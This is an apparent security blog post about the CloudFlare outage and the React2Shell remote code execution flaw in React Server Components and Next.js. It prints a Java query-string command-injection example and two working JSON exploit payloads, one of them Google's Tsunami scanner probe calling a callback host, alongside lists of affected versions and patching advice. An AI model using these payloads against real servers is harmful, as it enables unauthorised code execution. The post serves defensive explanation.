Remember when every school of thought trained you to never have a single point of failure? That’s still considered the right standard, but CloudFlare and AWS usage has become the new normal, leaving most of the internet down when these global tech companies fail. The most recent CloudFlare failure was apparently the fault of a security patch gone wrong, specifically a patch for CloudFlare’s web application firewall for CVE-2025-55182. The vulnerability also affects the Next.js framework, so the security patch remediates CVE-2025-66478.
It’s been a bad year for big tech companies with lofty claims of extensive uptime for customers. CloudFlare went out on November 18th, and then again on December 5th. Unfortunately for thousands of customers, CloudFlare is their backbone. CloudFlare serves an important purpose protecting a large part of the internet from distributed denial of service (DDoS) and malicious code injection, but when it fails, so do all of those websites. If your site relies on uptime, you probably experienced angry customers wondering why they can’t connect to your site.
Note: The security patch itself doesn’t appear to be the reason behind the CloudFlare failure. It was due to some internal procedure. This next section explains the React2Shell exploit, how to find out if your application is vulnerable, and what to do about it.
React2Shell Explained: Serialization, Deserialization and Remote Code Execution
Firewalls are great for access control lists and blocking traffic based on IP addresses, but it doesn’t help with crafted attacks like XSS (Cross Site Scripting), SQL injection, or other malicious code injection. You need a level 7 layer firewall called an application-level firewall or more commonly called a Web Application Firewall (WAF), which CloudFlare provides.
The React2Shell bug is a deserialization exploit, meaning that the backend React Server Components do not properly scrub data before executing it. Serialization and deserialization are common in web programming. To explain it, think of serialization as a way to package data in a way that allows a web server or client to read it. Serialization is standardized so that the recipient (in this case the React Server Components) can read the data, process it, and perform a request regardless of the sender’s platform and code language.
Serialization comes in several forms, but let’s look at a simple query string:
pinkhatcode.com?fname=jennifer&company=pinkhatcode
The query string variables “fname” and “company” are serialized into the query string. Any recipient web server knows how to deserialize these values to read and process them. This is a simple serialization example, but what happens if I change the value “jennifer” for malicious code.
Let’s say that I have a Java web server application, and I change the query string values to:
pinkhatcode.com?fname=Runtime.getRuntime().exec(“ls -l”)&company=pinkhatcode
In this example, if the backend Java server does not validate input, it might run the shell command to list directory content. While the payload itself won’t harm the backend server, the attacker now knows that shell commands can be executed on the server. A much larger and more damaging payload will be next, if this is your server.
Now, turn the Java deserialization bug into the actual React2Shell proof of concept. You can view the React code and proof of concept for the exploit, but take a look at the JSON used in the PoC:
const payload = {
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log(7*7+1)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}
The above JSON is serialized when transmitted, but then it’s deserialized on the React server. The React Server Components don’t validate input, which allows this part of the JSON to execute:
console.log(7*7+1)
As you can see, this in itself is harmless, but the React server evaluates the content and executes the code. The response from the React call would be 50, and that’s how an attacker knows your React or Next.js server is vulnerable.
Google incorporated a similar PoC into its scanner to detect vulnerable React servers. Here is the Tsunami security scanner payload:
const payload = {
0: "$1",
1: {
status: "resolved_model",
reason: 0,
_response: "$4",
value: '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
then: "$2:then",
},
2: "$@3",
3: [],
4: {
_prefix: "fetch(\"http://tsunami_call_back\")//", // CODE TO EXECUTE
_formData: {
get: "$3:constructor:constructor",
},
_chunks: "$2:_response:_chunks",
},
};
You can see that the payload to execute is the following:
http://tsunami_call_back\
In this example, Google sends a command to the React application. If a callback happens without errors, then the Google scanner knows that the application is vulnerable for exploitation. Google scans the web to protect and alert users, but an attacker can use the same code for nefarious purposes. If no callback happens, the application is considered protected from the React2Shell vulnerability.
Note that this is a simplified version of the above PoC. The PoC also chains what’s called “chunks” in React. Chunks are bundled code to be processed on the backend server. The PoC chains (and serializes) chunks and hides a malicious code snippet in its data. This part of the PoC is specific to React, but serialization and deserialization happen in most web server applications and can run remote code on any web application that does not validate input. The key is to always validate any user-generated input, even if it seems like the input is only triggered by the system itself.
How to Know If Your Web Application is Vulnerable
If you have documentation and know the version of your React server components, here is a list of frameworks vulnerable to the React2Shell exploit:
React packages versions 19.0.0, 19.1.0, 19.1.1, 19.2.0:
- react-server-dom-parcel
- react-server-dom-turbopack
- react-server-dom-webpack
Frameworks:
- Next.js versions 15.0.4 through 16.0.6 and canaries from 14.3.0-canary.77
- React Router
- Waku
- Parcel React Server Component
- Vite React Server Component
- RedwoodSDK
You can also use a React vulnerability scanner specific to React2Shell to find out if your applications are affected.
If you fall into any of these categories, or the scanner says you are vulnerable, you should update your React components immediately. Any applications open to the public internet are especially vulnerable to RCE as more PoCs and scanners come out to detect vulnerable servers. You should make updating a priority.
You have some protection if you use a WAF, even CloudFlare. The issue with their security patching appears to be resolved, but you should not rely entirely on a third party to protect your applications. Always take security measures locally and use a WAF as a secondary line of defense.
